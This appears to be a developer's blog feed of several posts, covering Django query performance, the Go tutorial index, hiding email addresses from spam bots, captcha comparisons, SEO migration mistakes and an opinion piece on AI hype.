I don’t know if it’s a trick of my imagination but I feel that people are reading less and less. The audiovisual format, although more superficial, allows us to connect emotionally in a better way with consumers, probably due to our social and collective nature that was naturally selected long before the appearance of writing.

What does it feel like to listen to a podcast?

Now that a podcast is so easy to generate from written text, who would rather dive into a sea of lyrics than yield to the tempting call of a human voice?

Doesn’t blogging now feel like the sketch or script of what an audiovisual content should be, as if it were an unfinished product? The truth is that it terrifies me to think about the answer, it seems to me that we are at the gates of an Orwellian dystopia, but I am unable to reverse the trend and I can only watch helplessly how the world I knew crumbles.

I guess I’ll have to record more videos.

In Wall-e audiovisual content dominates over text

Be careful of Shiny Object Syndrome and FOMO in web development

Sun, 08 Sep 2024 00:00:00 +0000

With all the rapid changes happening in web development: frameworks, languages, tools, libraries, etc. It is inevitable to suffer a bit of Shiny Object Syndrome and some FOMO. But it is convenient to identify these impulses and their nature to avoid suffering the consequences of ignoring them.

Shiny Object Syndrome in web development

Shiny Object Syndrome (SOS from now on) is the tendency to be distracted by a new idea or trend. In web development this idea or trend could be anything: a new framework, a new language, a new editor, etc. Let me explain it with an example.

Oops, a new Javascript framework, I have to try it out

Imagine that you want to create a new application, but you heard that a brand new Javascript framework with an outstanding performance came out that promises to make things easier, so you decide to learn this new ~~blazingly fast~~ framework to implement your new idea, later you discover that another even better framework came out, so, even though you were already half way through the project, you decide to refactor your application using this new framework and you delay again the development of your app.

You could have implemented your new idea using the framework you already knew, and finished sooner, but you decided to waste your time, attention and resources with every new “shiny object” that appears.

Has this happened to you or just to me?

FOMO or Fear of Missing Out in web development

FOMO is a generalized self-absorption that others might experience pleasant experiences from which we would be absent. In web development this pleasant experience could also be the popularization of a new programming language, or a new type of API that seems to make things easier, or a new Javascript framework (a new one comes out every week).

Everyone is learning Rust, I should learn it too.

For example, imagine a nerd creates a new programming language, which promises to be faster, more secure and is quickly adopted by the community. Feelings of anxiety start to invade you, “what if everyone starts using that new language?”, “what if I’m wasting my time using the languages I’ve already mastered and everyone realized that the new language is the future?”

Does any particular language or technology come to mind?

Differences between Fear Of Missing Out and Shiny Object Syndrome

Although both phenomena look similar, there are several differences, mainly in the effect they have on us.

FOMO	SOS
Fear or anxiety of being left behind or left out	Novelty is distracting
Impacts on your well-being and social behavior	Impacts on your productivity and concentration
Can lead to over-committing to activities or experiences for fear of missing out	Leads to impulsive decisions to change projects or direction

Why is it important to consider FOMO and SOS in web development?

My examples above don’t talk about any specific technology, but I’m sure several languages, frameworks and technologies came to your mind while reading the above paragraphs.

Example of SOS and FOMO in web development

I will dare to name you some examples that crossed my mind while writing this post:

Graphql : Adopted by many, many people even though they probably only needed a REST API .
JWT : Used as an “enhancement” to sessions and authentication, even though several computer security experts recommended not using them that way.
CSR, SSR and SSG: Developers quickly realized that it was always better to generate the HTML directly from the server or use static files, as had always been done, for many reasons including SEO optimizing .
AI: Not sure about this one, is this just more AI overhype , like crypto was, or we really are in front of a human revolution?
WASM: It’s not that WASM is not useful, quite the contrary, the thing here is that some folks thought that every site was going to be coded in Rust or some low level language, which of course didn’t happen.

Consequences of SOS and FOMO in web development

The FOMO and SOS can impact design decisions, architectures, stacks and we must be very careful not to rush when choosing something based on our emotions or hunches, our decisions must be based on rational arguments and must consider aspects such as the maturity of a technology (Such as Django Framework or React), its stability over time, its future projection, how easy it is to find new developers who master it or, failing that, train the existing person and even aspects such as whether the respective project receives funding from third parties that allows it to continue operating.

Don't Use Github To Evaluate Developers It Is Naive

Tue, 06 Aug 2024 10:13:25 -0600

If you are one of those who use Github contributions to evaluate your candidates, or clients, I’ll explain why it’s not necessarily a good idea.

It is common practice to use Github to assess a developer’s capabilities, but to do so blindly, ignoring the following set of factors, would make your ignorance cost you access to candidates with greater potential and experience in the workings of the software world.

An empty github does not mean someone is incompetent.

“Absence of evidence is not evidence of absence” or, put in other words, just because a person doesn’t have excellent quality code on Github, doesn’t mean they can’t write it.

This is just a representation of how a github’s contribution chart can be a reflect of someone’s life

But why would someone not want to show the ~~horrible quality of their code done in javascript~~ good quality of their code? One reason is that they’re probably too busy writing code that does pay, rather than contributing to open source.

incendiary tweet that triggers heated discussions

Not everyone has an extra day each week to dedicate to open source, some have extra responsibilities beyond work, such as raising a family, caring for sick parents or personal projects.

Ironically my github looks like this:

My Github looks like this

Not all programmers love open source

Yes, as you may know, not all developers are ~~fans of free software’s Slavoj Žižek: Richard Stallman~~ so altruistic to contribute code to humanity without expecting anything in return, can we blame them?, aren’t most companies being hypocritical? Do companies that use Github to evaluate their candidates put their code base as open source on Github?

The fear of getting your code or ideas stolen

Microsoft has never been known for its ethics when it comes to doing business, since its early days it has been involved in code theft related rampages . It has also kept that reputation alive with scandals such as:

When Microsoft copied code from a micro-blogging startup and launched its own service.
When its AI, Github copilot, blatantly copied the code of some researchers.

Considering the above, and regardless of the veracity of the claims, I wouldn’t be surprised if some developers choose to keep their code out of the hands of Microsoft and its services, Github included, of course.

Github meme

Not all projects are on Github, Bitbucket, Gitlab, Gitea and others exist too

Github is the de facto service for managing online repositories, but there are other options such as Bitbucket, Gitlab, Gitea, launchpad, which although lacking the size and number of services offered by Github, compensate with a better reputation.

Meme that originated after Microsoft’s purchase of Github

Some developers prefer to use these alternatives as a response to Github’s monopoly or perhaps for reasons as banal as preferring one UI over another.

Should Github projects be ignored then?, of course not! but judging a person’s capabilities just by the presence or absence of code on Github is just naive.

Fix slow queries in Django when using annotate and subqueries

Fri, 12 Jul 2024 23:51:01 -0600

Django’s ORM is quite useful and versatile, it can perform most of the common SQL operations, such as filtering, partitioning, joins or sorting information, creating aliases, but it also has its limitations, especially when combined with subqueries, today I’ll tell you about one of its limitations and how to solve it.

Despite its few weaknesses, its ORM is one of the reasons why you should use Django .

Django annotate and subqueries, a performance problem

The Django annotate function, which I already told you about in a post where I explain the differences between annotate and aggregate in Django, is used to add information to a SQL query, this information can be some data’s average, a sum or anything else you want, the thing is that, once you start using subqueries in annotate, things can get really messy.

Let me give you a more practical example:

from django.db.models import F
from django.db.models.expressions import Subquery

first_subquery = Subquery(...)
second_subquery = Subquery(...)

queryset = YourModel.objects.annotate(first_annotation=first_subquery)
    .annotate(second_annotation=second_subquery)
    .annotate(
        third_annotation=F("first_subquery") - F("second_subquery"))
    .annotate(
        fourth_annotation=((F("first_subquery") - F("second_subquery")) / F("second_subquery"))
    )

The problem here arises when we combine subqueries with annotate, and then proceed to use those annotations to fill other annotations. Yo dawg, I heard you like annotations so… you get the idea, right?

Django does not have the ability to recognize that it is using the subqueries over and over again, so the SQL it generates repeats the same subqueries over and over again, resulting in a poorly performing query; yes, we’re prey of the famous n+1 queries problem.

SQL generated by Django using annotate and subqueries is inefficient.

But it becomes worse, where exactly is the problem? The django ORM translates the above queryset into the following SQL query:

SELECT columns
        (SELECT ...first_subquery - SELECT ...second_subquery) AS "third_annotation",
        (SELECT ...first_subquery - SELECT ...second_subquery)/(SELECT ...first_subquery) as "fourth_annotation",
        (SELECT ...first_subquery) as "first_annotation",
        (SELECT ...second_subquery) as "second_annotation"
    FROM table_a LEFT OUTER JOIN table_b
    ON table_a.id = table_b.id
    GROUP BY table_a.id ...

Notice how Django is reusing the SQL from each subquery multiple times during the query, instead of performing the query once and then reusing that value.

If you don’t know how to get the SQL query that Django’s ORM generates, I remind you, qs represents your queryset:

print(qs.query)

How to fix this mess? Well, one of the ways to fix this SQL query is to use Common Table Expressions (CTEs), however, as of this writing, Django does not support Common Table Expressions (CTEs), so we will have to use a raw query instead of the methods already provided by the Django ORM.

Use Common Table Expressions (CTEs) to improve annotate and subqueries performance.

The solution is to create a raw query, but it’s not that bad as it looks, remember that modern versions of django allow you to use the raw method of your model manager so that Django automatically assigns it to a queryset object of your respective model.

qs = YourModel.objects.raw("YOUR_SQL_RAW_QUERY_GOES_HERE")

The SQL query with the Common Table Expressions (CTEs) that we will use would look like this:

WITH my_cte AS (
    SELECT
        a.column
        (SELECT ...subquery_one) AS first_annotation,
        (SELECT ...subquery_two) AS second_annotation
    FROM table_a
    LEFT OUTER JOIN table_b
    ON table_a.id = table_b.id
    GROUP BY table_a.id ...
)
SELECT
    columns,
    first_annotation,
    second_annotation,
    first_annotation - second_annotation AS third_annotation,
    (first_annotation - second_annotation)/first_annotation AS fourth_annotation
FROM my_cte;

Now, look! As you can see the subqueries are in parentheses and each of them appears only once.

Using Common Table Expressions (CTEs) allowed to use an efficient query, avoiding multiple repetitive queries to the database and will give us a performance that outperforms the Django ORM’s query by several orders of magnitude (I managed to reduce a few queries’ execution time from 13 seconds to just 0.7 seconds).

Until Django adds support for CTEs we are doomed to implement CTEs manually instead of using the ORM. Perhaps implementing CTEs is one of the actions that can be taken to improve Django’s framework.

How to improve Django Framework?

Sun, 23 Jun 2024 00:00:00 +0000

On June 21, 2024 I started a thread on reddit with the following question: “What would you improve about Django framework?”. The response from the community was immediate and the conversation quickly filled up with suggestions on how to improve Django framework, ranging from modest to quite radical. I summarize the results below.

HTMX meme

Would type hints improve Django Framework?

This was the comment that received the most support from the community. Although Python already has optional Type Hints since version 3.5, it seems that implementing them for the purpose of modernizing Django Framework does not seem to be a priority.

Comment with more support on how to improve Django

The popularity of type hints is such that some users who consider them a significant improvement to the framework have developed an external library, called django-stubs , which aims to revamp the Django Framework with type hints.

Type hints have already been evaluated and rejected.

However, according to reddit users, there is not much interest from the code maintainers to incorporate these changes as part of the code. There have even been proposals to incorporate type hints into the official Django repository , but these changes have been dismissed, probably because they consider the typing to be a contradiction to the nature of Python as a dynamic language.

In case you don't know what type hints are, type hints allow you to declare the type of a variable, argument, or the return value of a function to make it easier to identify bugs or unwanted behavior. Think of Python type hints as Python's Typescript, or as optional static typing in your favourite compiled language, such as C, C++, or Rust.

Use a custom User model instead of the normal User model.

The second comment that received the most support states that customizing Django’s User model is quite complicated, especially if done mid-project, more specifically changing Django’s default login type from user to email.

Second comment with most support on how to improve Django

Although there are multiple ways to customize the User model in Django , such as using a proxy model, or inheriting from AbstractUser, some users find that solution a little bit “hackish”.

In case you don't know, Django uses by default the *username* from its *User* model, in combination with the password, to log in a user. But the current trend in web development is to use email directly.

REST support in Django without third-party libraries.

Despite the fact that Django has one of the best libraries to create an application that meets the basic features of a REST API ; yes, I’m talking about DRF (Django Rest Framework). The reddit users consider that Django should provide support for REST APIs “out of the box”, as a native part of the framework.

The above seems to me an interesting proposal but I also understand that, despite the maturity of REST, giving it preference over the rest of APIs, such as the modern Google gRPC , SOAP, or some API that has not yet emerged, can be considered as a rather risky step by the Django committee. Yes, even if there are complete REST-based libraries, such as FastAPI .

Read environment variables in Django without third-party libraries

Django can read environment variables directly using Python’s os library, but other libraries, such as django-environ , have been developed to provide a more robust solution, where it reads directly from an .env file and where the absence of an environment variable will crash the application, ensuring that a Django application cannot start if even one environment variable is missing, which is what I imagine the developers of this popular forum want.

import os

os.environ["VARIABLE"]

Django native integration with frontend

It’s no secret that the frontend has received a gigantic boost in recent years, libraries like React, Vue, Svelte and others have taken a remarkable prominence in recent years, completely changing the paradigm of client-side development. Django has been agnostic about the separation between Backend and Frontend, probably because Django is a monolithic framework (and I mean that in a non-pejorative way).

I guess some users consider that Django should not lag behind and should provide integration options with some frontend libraries to favor the reactivity of the applications, as Nextjs does for some time, since it allows you to select the frontend library to work with and even takes care of the minification and tree-shaking of the code through Webpack or its experimental compiler written in Rust.

Improving Django with HTMX

It seems to me that Django already does an excellent job with its template system and that it combines perfectly with libraries like HTMX , to take advantage of all the power of hypertext without the need to incorporate Javascript to the project.

Javascript delusion according to HTMX

Without more to add I leave the link to the discussion if you want to see the rest of suggestions on how to improve Django Framework.

Other suggestions on how to improve Django framework

Among the other suggestions I would like to highlight the following, as they received minor support or were mentioned multiple times throughout the thread:

Add support for CTEs
Better form handling
Better static content handling with emphasis on most popular frontend frameworks
Out of the box support for queues
Hot reload of the browser
Basic CRUD boilerplate generator
Models’ auto prefetch of their related models.

Suggestions that ended up being third party libraries

Go Programming Language Tutorial

Sat, 08 Jun 2024 14:10:45 -0600

I wrote a series of entries trying to serve as a guide an introduction to learn the Go programming language. This tutorial requires you to know at least the basis of programming, so it’s probably a good idea to read this only if you’re learning Go as your second or third programming language. This content goes from Go’s basic syntax to advances uses as signal catching or containerization.

Go language introduction and Basic Syntax

Introduction to the Go programming language, native data types, variables, the controversy around this language, the good, the bad, the ugly and even a glimpse to its popular, and sometimes hated, mascot.

Go, coding language, introduction to variables and data types

How to create go functions and pass arguments to them, along with the basis of the fmt package used to print text on the screen

Go: functions, arguments and the fmt package

Master the different type of loops that exist in go, learn how to use flow control to execute your code conditionally and learn about they break, continue and defer clauses.

Go: loops for, break, continue, defer, if and else

Create array and slices and know their differences and how to iterate over them correctly using range.

Go: slices and arrays, basic characteristics and most common uses

Learn how do map or dictionaries work internally, the different ways to create them and how to iterate over them using range.

Golang maps or dictionaries

Read about the main differences that exist between string, runes and bytes in go, how they work internally and their main related methods.

Golang runes strings and bytes explained

Go Programming Language Tutorial: Object oriented programming

Go doesn’t have classes, but you can emulate OOP features (polimorfism, inheritance and encapsulation) using go structs.

Go: Structs, inheritance, polymorphism and encapsulation

How to handle and import and reference packages and modules in go.

Go: package import and module management

Go Programming Language Tutorial: Concurrency and Corroutines

The feature that makes go stand out: concurrency and goroutines, learn how to create and handle them.

Go: introduction to goroutines and concurrency

Here I explain you how to communicate goroutines through channels and the main principles to take care of when working with concurrent code.

Go: use of channels to communicate goroutines

Understand the concept of deadlocks in the context of working with goroutines, how to avoid them and what causes this problem.

Go: channels, understanding the goroutines deadlocks

The basics of race conditions when working with concurrent code and how to prevent them. Create race condition resistant code using mutexes in Go

Go: race conditions on goroutines and mutexes

Go Programming Language Tutorial: Testing and Logging

The basis of go testing and coverage capabilities.

Go: basic testing and coverage

How to profile and examine code performance using go.

Go: profiling or basic profiling of CPU usage

How to use the default logging library in go programming language.

Logging with the standard library in Go

Go Applications

How to catch signals and process them in go to end your code execution in an elegant and safe way.

Go: Handling Signals for Closing Applications

Learn how to handle SQL migrations using go’s migrate library

Go Migration Tutorial with migrate

The basis of go’s reflection library and how to create flexible code that deals with unknown types

Go with Reflect: Boost Your Code's Flexibility

Did you know that Docker is written in Go? Have you ever wondered how does a docker container works internally? Well I explain all the concepts that you need to know here in order to create your own containerization technology.

How Does a Docker Container Work Internally?

I explain the worker pool design pattern in go and how to take advantage of Go’s concurrency and this design pattern to limit the amount of resources that your application uses.

Worker Pool Design Pattern Explanation

How to avoid spam when putting an email on a website?

Wed, 29 May 2024 14:46:07 -0600

Sometimes we want to put an email on a website but without exposing it to be read by some random bot that includes us in an advertising list, reminding us of our problems to start a physical relationship with the two mature women who live less than two kilometers away. And since we don’t want that, there are several things we can do to solve this and here I present some solutions, the last one is the one I usually use and also my favorite.

Convert your email to an image and avoid spam

This way to protect your email address requires no detailed explanation, just turn your email into an image and place it, your address will be safe from any text scraping bot, but it will be vulnerable to any bot with OCR (Optical Character Recognition) capabilities, bots with pytesseract for example , which I predict will be few if any.

The disadvantage of this approach is that the person who wants to send you an email will have to type it in manually, as they can’t copy-paste, and you know that every extra step adds friction to the conversion process.

Use a different email notation

Instead of using the classic format like my@email.com , change it to something less obvious to bots, like my [at] email [dot] com, this way your address won’t be detected as an email by less sophisticated bots and if someone wants to send you an email just replace the at and dot with their corresponding symbols.

A pretty balanced option, although if it becomes popular I’m sure my blue pill factory ambassadors will find a way to get the valuable information they need.

Ask the user to generate the email with extra information

Another way is not to put the email directly, but a hint as to how it can be deduced, for example if the site is called lain.com you can write a text as a hint that says something like:

“My email is the name that appears in the url and is a google email address”.

With that we will understand that the address is lain@gmail.com .

Just try not to complicate things too much here, don’t overestimate the deductive capabilities of the average web surfer.

Use a form instead of an email address

Another option is to completely forget about placing your email and use a form instead, this way your email will be safe from spam and you can direct the emails to a unique account that you use for that single purpose.

Protect your form from spam with a captcha

Of course some bots will try to fill out the form to send you advertisements but you can always use a strong captcha to protect yourself from spam

Use custom email spam filters

If you don’t want to use captchas you can leave the responsibility of recognizing spam to your email provider’s filters, or use a customized filter created by you and combine it with some instruction like:

“To know that you are not a bot, please include the word jelly bean in your email. ” *.

Now just set up your filter and automatically delete all emails that do not meet this condition.

Avoid spam generating your email dynamically

This is my favorite, to achieve this we can use some kind of simple encryption, or even base64, encode our email address in base64 and then decode it in the frontend dynamically using Javascript, this way the bots will only see a bunch of numbers and letters in the source code, to read the email they will need to render the page with javascript enabled, which eliminates those bots that only read the source code of the response.

// this comes from the server
const encodedEmail = "eW91YXJlY3VyaW91c0BpbGlrZWl0LmNvbQ=="
// atob decodes from base64
const decodedEmail = atob(encodedEmail)

For an ordinary user, the email will be displayed as if it were included in the source code of the page.

Generate an email dynamically with user interaction.

To make this protection method more secure we can delay the decoding until the user presses a button, scrolls, makes a mouse movement or even use the intersection observer to decode it only if the email is on screen; the limit is your imagination.

My Analysis Of Anti Bot Captchas and their Advantages And Disadvantages

Sat, 18 May 2024 23:03:15 -0600

This is my analysis of some of the most popular captcha options out there and my opinion as a user on their advantages and disadvantages, this analysis includes google recaptcha, sliding captchas, simple questions, letter and number recognition and the most bot resistant captcha I know of.

Google recaptcha and similar

I’m sure you already know this one, as it’s the most common, and probably the most popular captcha out there. Google’s and Cloudflare’s stand out here.

The inner workings of this type of captcha are very complex and are based on recognizing patterns in a user’s traffic and probably analyzing them against the large amount of information they have collected over the years to then decide if there is a significant probability that a user is a bot.

For a hypothetical user it is usually enough to click the checkbox and that’s it, but if we don’t convince the captcha algorithm, it will ask us to ~~train its AI models for free~~ a couple of more tests in which we will have to identify images.

The only disadvantage I see to this type of captcha is that by using it we are feeding google with more information about the users of our website. And you may not mind that google collects more information, if this is the case I can only bring up the Cambridge Analytica scandal.

My veredict:

Security: 9
User friendly: 8 wiithout image recognition and 5 with it

Basic questions captchas

There are more primitive captcha options, but no less effective such as a simple question: How much is 7 + 2?.

To solve it, just read it and enter the correct result.

I find this kind of captchas super practical to deal with most of the bots that blindly roam the internet, and they are also minimally invasive for the user.

Their disadvantage, it seems to me, is their weakness against a personalized attack, since it will be enough for a human to enter the website, read the question and adapt the code to his convenience.

I also consider that, with the rise of AI, despite the overhype they will become obsolete, since it is enough to ask the AI to read the label of the input and generate an appropriate response.

My veredict:

Security: 6
User friendly: 8

Character recognition captchas

Another popular alternative to simple questions is to use an image with numbers and letters and ask the user to identify them and place them in the appropriate field, these letters are distorted in some way to make them unrecognizable to bots.

This type of captcha tends to be quite invasive for users and can ruin the web experience. On top of that, I don’t consider them particularly useful for dealing with bots, there are even tutorials on how to solve these captchas almost automatically .

If you don’t want to read the whole article I’ll summarize it for you, it basically consists of transforming the image with image editing software to highlight the characters and then using an OCR, like tesseract in combination with one of its bindings, like pytesseract , to read them.

Also take into account that many of these modern captchas also consider how you fill in the text input, i.e. they expect you to fill it in like a human, bringing the mouse pointer towards them and typing letter by letter at regular intervals.

My veredict:

Security: 7
User friendly: 6

Invisible input field captchas

This type of captchas relies on CSS to create invisible input fields to the user, that a bot will detect and try to fill, so they can then be identified by the server and be discarded or blocked.

<form method="post">
    <!-- Hide this with css instead -->
    <input type="text" name="email" style="display:none;">
    <!-- real field -->
    <input type="text" name="real_email">
    <input type="submit">
</form>

This type of captchas seem to me perfect for the user, as they are completely invisible to the user, however they suffer from custom attacks where a human detects the strategy and simply modifies the bot to not fill those now visible fields.

My veredict:

Security: 7
User friendly: 9

Slider captchas

I’ve seen these types of captchas on Tik Tok mainly, but you usually don’t find them so easily on the web.

I consider slider captchas to be one of the most balanced options out there, they are quick to solve and quite secure, although I doubt they are totally secure against all bots, mainly those that try to simulate users’ mouse movements.

I have never broken one of these captchas, but I imagine that using image processing as in the example above and some mouse movement emulation tool, it should not be impossible. Which brings me to the last type of captcha.

My veredict:

Security: 8
User friendly: 8

Captchas that are safe and almost impossible to solve

This is probably the most secure, and also the most invasive captcha I’ve seen. It is found on the most popular English-speaking image board to date and I have not seen it anywhere else.

I want you to notice how sophisticated this captcha is. It is a simple box where it shows some scribbles in black and white, completely illegible and in the background an image that, when sliding the slider, overlaps with the background image, revealing the captcha before your eyes.

This gradient formed between the “fake” captchas and the “real” one confuses any character recognition software, making it completely useless.

In addition, this captcha requires interactivity from the user, as it requires the slider to be slid carefully, which rules out all those headless bots.

On the other hand, it has the disadvantage of being invasive for the user, completely interrupting the browsing experience. Furthermore, I would venture to say that this captcha also gives a lot of false positives; I myself am unable to accurately read the characters that appear there and I’m not a bot, am I?

My veredict:

Security: 10
User friendly: 2

In defense of this captcha, I will say that it is a necessary evil on a website where it is not necessary to register to post, home of what was (or is) one of the most famous hacker groups: Anonymous and where illegal material was (or is) distributed, pictures and videos so cursed that will make you doubt if humanity deserves to share this planet with the rest of animals.

I definitely do not recommend this type of captcha unless you have a website with similar characteristics, in such case my deepest condolences.

My technical SEO mistakes when I migrated my site from Wordpress

Sat, 27 Apr 2024 19:49:56 +0000

A few years ago, I migrated my website a couple of times, first from Wordpress to Frontity (A wordpress framework in React) and then from Frontity to a Digital Ocean Hugo App . I don’t regret my decision at all, but I made a few technical SEO mistakes that you can probably avoid if you take into account what I’m about to tell you.

After that incident I wrote My Technical SEO Basics Checklist Only For Web Developers

Why should I care about SEO if I’m a web developer?

SEO is the factor that determines whether a website appears first in the search results of a search engine (almost always Google) or whether it is buried in the last positions, receiving little or no traffic and condemning the business it represents to bankruptcy, or if it is a personal project, to oblivion.

And I’m not talking about subtle differences, I’m talking about abysmal differences.

At the risk of sounding redundant, I will repeat it again: the traffic of a web site is much more important than the efficiency, the language or framework used to code it, yes, even if you wrote it in C++ or directly in assembler.

Aves exoticas is the perfect example of a website visually not so attractive, but with an impeccable SEO that positions it in the first position on google.

Web developers often ignore the potential of SEO.

Most developers have an engineering background, where efficiency, best practices and the business aspect of a website are valued and overlooked.

Hence, when a web developer launches their personal projects, they often completely ignore SEO and focus on optimizing their webapp performance to the maximum , usually resulting in an extremely fast, efficient, and even visually appealing website, but with no traffic.

It is said that only true programmers program in low-level languages.

My mistakes migrating a website without considering Technical SEO

When I migrated my web development blog, the first thing that I blatantly ignored were the multiple consequences of doing it unanticipatedly. I began with the sitemap, then the URL structure and finally, as the cherry on top of the cake, the absence of a schema markup.

The presence of a sitemap is crucial in Tech SEO

A sitemap is an xml file that functions as a map to navigate your site .

The sitemap that my previous website had was located at a specific URI, which I changed when I migrated the website, so Google was unable to find it, and then what happened? Well… Google indexed the pages randomly, as you probably already know, and I suffered the consequences.

One night my cell phone vibrated to the rhythm of the cascade of notifications that Google Search Console was sending me.

A sitemap is an index, usually in XML format, that lists the pages of your website.

How could I have prevented this? By logging in my Google search console account and replacing the old sitemap address with the new one, and then asking Google to read it again,

How I realized that URL structure is important in Tech SEO

But that wasn’t all, after the migration from Wordpress to Hugo, Google detected a lot of 404 errors when accessing the old URLs and, as a punishment for being so careless, my traffic decreased by about 70%, yes 70%, painful I know.

Why did this happen? Imagine that search engines see your website with a URL structure like the following.

graph TD; Website-->Year; Year-->Month; Month-->Day; Day-->Entry_1;

And when you perform the migration, the structure changes;

graph TD; Website-->Posts; Posts-->Entry_1;

The pages were the same but they weren’t at the same place. I like to think that I overestimated google’s capabilities to detect the new location of my content and act accordingly.

The important thing to remember here is that search engines do not have a way to easily recognize that one entry is exactly the same as another if it has changed location, especially if this migration involves major changes to the page. While it is true that Google can detect duplicate content and is able to render a web page, that doesn’t mean it “sees” the entries visually, as a human would, in its guts it is still receiving and parsing HTM.

How could I have prevented my traffic decline?

Using a plain, old and boring redirect. It should have been enough to tell Google that if it accessed /202020/12/12/entry_1 it should redirect to /posts/entry_1, how? by returning an HTTP 302 or 308 response , Found or Permanent redirect, respectively.

The absence of structured data or Schema markup

When I used Wordpress the Yoast plugin took care of the structured data markup, but in Hugo this has to be done manually, so my website lasted a long time without this structured data, the result? A penalty from Google in the form of a decrease in the daily impressions, and therefore a traffic decline to my website.

The structured data markup for a web site looks like this

Structured data markup is usually in the form of an application/ld+json script on a website, it cannot be seen visually but it is read by search engines and helps them to understand the type and relationships that exist between each of the entities on your website.

Don’t forget to update Google Search Console

If you are also changing your domain when changing your website, Google Search Console has a tool that allows you to tell Google that you are changing the domain. This way, Google “knows” that you are migrating your content and can match the new URLs to the old ones so that they do not lose their positions in its ranking system.

Remember to take the semantic structure into account

If you are migrating from WordPress, this platform has a certain URL structure, for example:

/category-1/title-54
/category-2/title-12

Make sure that every URL on your new site has the same structure. It will take some extra work, but it will ensure that search engines understand the hierarchies between the elements of your website in the same way.

That was the tragic story of how my traffic went down abruptly, because I was a layman in SEO.

But after that incident, I decided that i wouldn’t allow for it to happen me again, so I started reading about SEO and I learned a lot of things that I put into practice later. I’m not going to lie to you, right now the website is not at the level that it was before but it is heading in that direction and the best part is that I know what I’m doing now.

I had not given myself the opportunity to touch this topic in the blog, because semantically it is quite far from what most devs understand by web development, and most devs are not really interested in SEO.

But I finally decided to write these mistakes here so they can save you a couple of headaches in the future.

AI is Overhyped When Will the Bubble Burst?

Thu, 18 Apr 2024 00:00:00 +0000

Since ChatGPT rapidly surpassed the record of user growth, artificial intelligence is almost omnipresent in the modern metropolis collectivity. Its arrival has brought a wide gradient of expectations ranging from simple problem solving to the complete automation of our societies. But I think it’s overhyped.

But I believe that, while AI has amazing capabilities, it is far from revolutionizing the world and achieving the full automation expected by the general public in the short term. AI is awesome, but it’s overhyped.

And I’m not alone in this, even a big company like Apple stepped out of the AI race, details in its paper The Illusion of Thinking: Understanding the Strengths and Limitations of Reasoning Models via the Lens of Problem Complexity

Maybe intelligence is not possible without consciousness, like Penrose and John Searle’s chinese room experiment states.

Even Sam Altman sees an AI bubble , according to the media:

“Are we in a phase where investors as a whole are overexcited about AI? My opinion is yes. Is AI the most important thing to happen in a very long time? My opinion is also yes,”

And I totally agree with him.

Is the AI bubble finally bursting out?

Edit: Builder.AI a promising AI that offered websites created with AI was nothing more than a bunch of India developers working behind the scenes, and it has just filed for bankruptcy .

This is just another proof that screams that lot of AI businesses are playing hit and run with investor’s money. They try to rise the expectations to get money from the angel investors and whoever they can and then just fall epically when they fail to deliver. But at that moment, who cares, money has been made and businesses involve risks so…

Devin AI fell into oblivion. At the same time, we are seeing the law of diminishing returns with each new LLM that appears (video and image generative models have not yet reached that point).

Other companies have already abandonned the idea of replace developers and focused on becoming tools in code creation, like Bolt, Lovable o V0

Humanity’s last exam shows that AI is overhyped

Let’s consider Humanity’s last exam scores, as you can see, we’re around ~30% which is frankly a lot. I don’t think we have been close to having something like this. Just thinking about the possibilities makes me tremble. However, investors and click-bait media are trying to convince you that we’re around 100%, which is a criminal fallacy. AI’s accomplishment are just incredible, but still AI is overhyped.

Don’t misunderstand me, these values are amazing but they’re far from what’s being promised by media and investors.

Investors’ greed and consumers’ ignorance are guilty of The AI overhype

It is enough for a company to use AI to grant it with an unknown magic that makes it irresistible to the general public, and also to investors. And this because a simple reason: as a society we do not understand how AI works internally, we do not understand the statistics behind it and we endow it with the mysticism of magic.

Consumers, usually businesses, expect AI to reduce (or eliminate) the costs of hiring people and investors expect to make the investment of a lifetime.

It’s not that AI isn’t valuable, it is, but its capabilities are below what companies are promising.

AI fever and capital investment

As I said, investors don’t want to be left out of this party and are so eager to hit the jackpot and become the new Zuckerberg of artificial intelligence that they open their wallets without thinking every time they hear the word “AI” in the same sentence as “disruptive.”

But, I’m under the impression that this is all just a bunch of companies and entrepreneurs acting on the above, just as creators of Devin, the supposed replacement for programmers , and the creators of Rabbit R1 are probably doing.

The market is trying to make a quick and easy buck from the suddenly growing interest of tech laymen in something as abstract, and with such esoteric characteristics, as AI.

Many of the AI solutions are just plain ChatGPT wrappers

In addition to this, most people involved in the financial side of AI don’t understand that not much has really changed in the coding world, most solutions just use ChatGPT on the backend, along with a visually appealing interface to present themselves as the next unicorn and look for easy money from investors.

There are even protocols to interact with LLM, like the Model Context Protocol .

It’s not that using chatGPT for your company is wrong, but if an app is just a GPT wrapper, the risk of becoming a commodity is high, are we going to have thousands of different apps that solve the same problem and are just chatGPT wrappers?

And not that the above is wrong, but I would prefer that all the possibilities that AI has to offer be explored, that we train neural networks to automate every tedious aspect of society and free humans from the paradigm of performing repetitive 9-5 tasks or maybe to improve human’s health via drug design . I want more investment in AI, but one that “adds value,” not just seeks to profit as quick as possible.

Companies are running out of Data to train LLM

I stumbled upon this video the other day, and I agree with this fine gentleman: Companies are running out of data, it was never about computing power, it’s all about curated and reliable datasets to train AI.

The greed that feeds the use of AI is going to flood the internet with a myriad of AI articles, that are going to be used to feed, and afterwards be regurgitated by the AI, over and over again ~~as in the human centipede movie~~.

The tragic end of the AI Overhype and the New Normal

Having said the above, it seems that I believe that all this about AI is nothing more than smoke and mirrors, but that’s far from the truth, I believe that AI is going to stay and it has potential for a social revolution but, at least in the short term, it will be exclusive to a very small group of companies, among which I highlight openAI, Google, Microsoft and the usual players.

Machines don’t learn. What a typical “learning machine” does, is finding a mathematical formula, which, when applied to a collection of inputs (called “training data”), produces the desired outputs. This mathematical formula also generates the correct outputs for most other inputs (distinct from the training data) on the condition that those inputs come from the same or a similar statistical distribution as the one the training data was drawn from. - Andriy Burkov

My take is that AI is the ultimate autocompletition tool, be it text, images, video 3D structure (I foresee a huge potential in this field), nothing else. So far AGI is a milestone that remains distant in the future and we don’t know if it is achievable.

Don’t get me wrong, there is an AI overhype, but it will stop when companies realize AI’s true capabilities. The bubble will burst and only those companies with the potential to change the game forever will remain. Tools like Sora, Midjourney, ChatGPT, Eleven Labs or Watson.

It is up to them to decide the pace at which this transition will take place despite what the market is trying to shove down your throat.

My prediction regarding the AI bubble, is that all other companies that don’t have their own unique neural networks or some intellectual property to protect them, are going to cannibalize and commoditize themselves, crashing the market in the process, and that, when the AI bubble bursts and AI overhype ends, a lot of people are going to lose money in the process.

Don't Obsess About Your Web Application Performance

